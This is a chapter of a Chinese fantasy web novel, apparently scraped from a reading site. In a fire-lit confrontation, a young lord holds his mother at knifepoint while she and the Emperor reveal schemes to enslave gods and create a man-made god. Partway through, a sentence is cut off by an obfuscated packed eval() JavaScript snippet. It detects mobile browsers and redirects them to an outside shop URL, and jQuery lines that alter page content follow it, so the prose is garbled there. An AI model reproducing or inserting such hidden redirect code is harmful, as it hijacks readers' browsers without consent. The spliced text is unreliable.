45. 烈火
作品:《神明,但遵纪守法》 龙首原上火光冲天,映照在温照白惨白的脸上,明明灭灭。
他握着刀柄的手上有暴起的青筋。
罩袍人慌忙间想要抓鹿聆做人质,却被温照白喝止:“退开。”他的声音沙哑,刀锋却更贴近平昭大长公主的颈侧,有一滴血珠沁出。
罩袍人僵在原地,他虽然并不相信温照白会真的对他的母亲动手,但大长公主此刻屠刀悬颈使他不得不缩回了手。
温照白强撑着精神,他握紧手中的刀,向鹿聆示意,鹿聆抱稳怀中的阿妙,警惕地路过罩袍人,踉跄着来到温照白身边。她看着温照白苍白的面色,十分担忧地唤他:“小白……”
温照白摇摇头示意无妨,目光中是令人心惊的决然。
一片迷茫恐慌中,反倒是被挟持的大长公主十分平静,她微微侧首,似乎是想要看清儿子此时的表情,声音仍然是众人印象中的温和:“照白,你是何时发现的?”她的声音甚至带着一丝欣慰的笑意,“母亲将痕迹抹得很干净才对。”
温照白并不看她,他避开了平昭大长公主的视线:“你行事确实谨慎,可终究百密一疏,你选择利用潘太妃的地位身份,却没有做好会因为她的愚蠢暴露的准备。这些人中,潘太妃因为潘循一事深恨与我,可自我回天都以来对付我的手段却一直是不痛不痒,必定是因为未央的制约。”
平昭大长公主听得一怔,随即温柔地笑了:“原来如此。”
她的声音温柔地像是在劝自己不懂事的孩子:“照白,你那样聪明,也已经见过嫄华胥了,那你怎么还不明白,面对神明威势,太祖也从未屈服,就是为了能让世间人民拥有人权,能够不被神明制约。”
“未央是为了维护人的利益,照白,这不也是你信奉的,律法之下,众生平等吗?母亲只是,想走一条更决绝的路……”
温照白的手在颤抖:“所以你们屠戮神明、嫁接活人、操纵朝堂,都是为了众生平等?”
平昭大长公主轻笑一声,那笑意终于褪去温柔的假面:“平等?不,照白,母亲要的不是平等,是选择的权力。”
她一字一顿:“人间之事理应由人来决定。这世间,应当由我们,驱逐旧神的功臣来制定新时代的法则。”
“神明有什么了不起,他们想要奴役我们,我们自然也可以让他们成为我们的奴隶!”
温照白不可置信,他完全不能理解母亲的想法:“因为神明曾经想要奴役人类,所以如今未央想要奴役神明?”他一针见血,“不,如今神明已经几近消失,未央不过是想要借助神明的力量夺取权力,统治世间罢了。更何况,你们的手段,比神明还要残忍得多……”
“你觉得残忍?”她的目光扫过笼中奄奄一息的林女官,再看向温照白,眼神是近乎残忍的温柔:“可若没有陈胥那样的失败品,没有瞳界里那些神明的养料,没有林女官这样的代价,你此刻手中的力量,你预见未来的能力,甚至鹿聆能安然站在这里……这一切奇迹,又从何而来?”
温照白似乎想到了什么,他的呼吸骤然急促。
平昭大长公主的声音忽然变得很轻,像是温照白记忆中童年中的记忆,那时,温照白的父亲还没有去世:“照白,你知道吗,你父亲……他和你一样,执着,善良,有着一往无前的勇气,他通过梦境预见了我做的事情,之后也曾经像你一样不可置信,还试图毁掉未央研究的成果和未成形的瞳界。”
“所以他才会因为梦境的反噬而病逝。”她的语气平静得像在说今日天气,却令温照白全身发抖。
他还记得父亲离去的那场雪,记得父亲复杂而痛惜的眼神和没有说出口的话,原来他早就知道了自己的命运。
大长公主微微扬起下巴,让刀锋更贴近皮肤:“不过你们温家大概确实血脉中有不凡之处,他一死,竟然引发了神明疯狂的反扑,未央在这场灾祸中元气大伤,不过也好,最终是我们赢了,那些早就该死的神明成为了未央真正崛起的基石。”
二十年前神明反扑的真相就这样轻飘飘的从她口中得知。
“照白,温家人都心软,这一点,母亲最清楚。”平昭大长公主仍然是十分美丽的,她的笑容却有着某种令人胆战心惊的意味,“你现在握着刀,指着我的喉咙。其实这一幕在很多年前就发生过,那时你的父亲,他也曾这样,握着刀,指着我,不过最终,他还是没有刺下去。”
温照白握刀的手颤抖得几乎握不住。
他望着眼前这个养育他、教导他、此刻却陌生如妖魔的女人,声音嘶哑得几乎破碎:“母亲……”他记忆中的父亲与母亲虽然并不算是十分亲近,却也有着温和的相处,原来真相竟是这样吗?
“你送我的第一把木剑,教我写的第一个字,教导我诚信守法……那些,也都是未央的指派吗?”
平昭大长公主沉默了。
远处长生祠的火焰噼啪作响,火星冲天而起。
很久很久,久到温照白几乎以为她不会回答时,她才缓缓开口:“那些是真的。”
“木剑是我亲手削的,字是我握着你的手写的,诚信守法……是我希望你拥有的品性。”
她抬起头,眼中映着火光,也映着儿子惨白的脸:“母亲很高兴你做到了,可如果必须在让你成为好人和让人类拥有未来之间选择,我选择后者。”
一片死寂中,还是皇帝踱步上前,目光在温照白与平昭大长公主之间转了个来回,最后定格在平昭大长公主骤然紧缩的瞳孔上。他忽然笑了,笑得意味深长。
“不愧是我嫄家人。”他的声音温和平静,“姑母弑夫弃子,筹谋半生,只为缔造一个由人择神的新世界。这般魄力,朕自愧不如。
“姑母,都到这一步了,你还试图隐藏吗?可惜,你太急了。”他慢条斯理道,“你窃神力、筑瞳界,甚至将司命引到阿白身边……这一切,若只为人类未来,何须如此大费周章。姑母,你是嫄家人,身上有我们嫄家自私的血脉,我不信你没有私心。”
他转向温照白,眼神深邃:“阿白,你可真是误会姑母的一片慈母之心了。未
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035819|189858||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
央要的不仅仅是权力,更是成神的资格。姑母是在为你铺路啊,只要你点头,不仅束缚你的梦境可以全消,你更可以成为世界第一个人造神。说到底,你唾弃的那些嫁接,差点害死鹿司命的那些手段,不过是为了让你成神而已。”
温照白目光怔然:“你在说什么……”
皇帝轻笑,眼神中带着嘲弄:“还不明白吗,阿白,陈胥、林女官、渡厄……他们都是为你牺牲的。”
平昭大长公主猛地看向皇帝,眼神惊怒。
皇帝却笑了,笑得意味深长:“怎么,姑母嘴上说得疏离,想要让朕以为你与阿白并非同路,可你做的一切难道不都是为他打算?那些试验,未央一路走到如今,难道真的还没成功吗?”
……
如今的龙首原,形式已然大不相同。
组织宴会的潘太妃已经被禁军押解,此时竟然是温照白挟持了平昭大长公主与未央对峙,皇帝作壁上观。
嫄缜原本并不想动,对他而言谁输谁赢并不重要,只要能削弱一方,就能为己所用。
只是他也并没有料到,未央的首领竟然是一向不问世事的平昭大长公主,更没有想到,温照白竟然选择挟持自己的母亲与未央对峙。
不过……
当下的局势倒是有趣……
一个背叛的皇亲……一个枯竭的司命……一个弑母的国公……
他唇角勾起一丝几不可察的弧度。
这局棋,终于到了最有趣的时刻。
因为他知道,当温照白最终做出选择时,无论他是否挥刀,他都已经被这场对话彻底杀死了……
温照白缓缓抬起头。
他的目光扫过母亲颈间的血珠,扫过皇帝深不可测的笑脸,最后落在鹿聆身上,她抱着阿妙,正用那双痛苦而清明的眼睛望着他。
他忽然笑了。
“陛下,”他的声音平静下来,“母亲。”
他握刀的手不再颤抖。
“你们一个要人择神,一个要君权永恒。你们都将这世间人民看作博弈的手段。”
他顿了顿,一字一句:“可你们问过他们,问过被你们算计入局的我吗?你们错就错在没有问过什么是这世间真正想要的,是神明,还是皇权?”
刀锋,又进一寸,血顺着平昭大长公主的脖颈流下,染红了华贵的衣襟。
“你们终究不明白。”温照白的声音很轻,却字字如铁,“这世间要的,是公义得申,罪恶得惩。而我要的……”
他看向鹿聆。
“是我爱的人,能活在阳光下。”
便在此时,长生祠主殿轰然垮塌,那座潘太妃的塑像在烈火中崩裂。
龙首原上,只剩下烈火焚烧的声音,和一场迟到了二十年的的审判。
而在废墟的阴影里,皇帝缓缓抬手。
禁军手中的弓弩,齐齐对准了温照白与鹿聆。
“阿白,”皇帝的声音冰冷如铁,“你既决意与我作对,便别怪朕,不顾昔年兄弟情谊。”

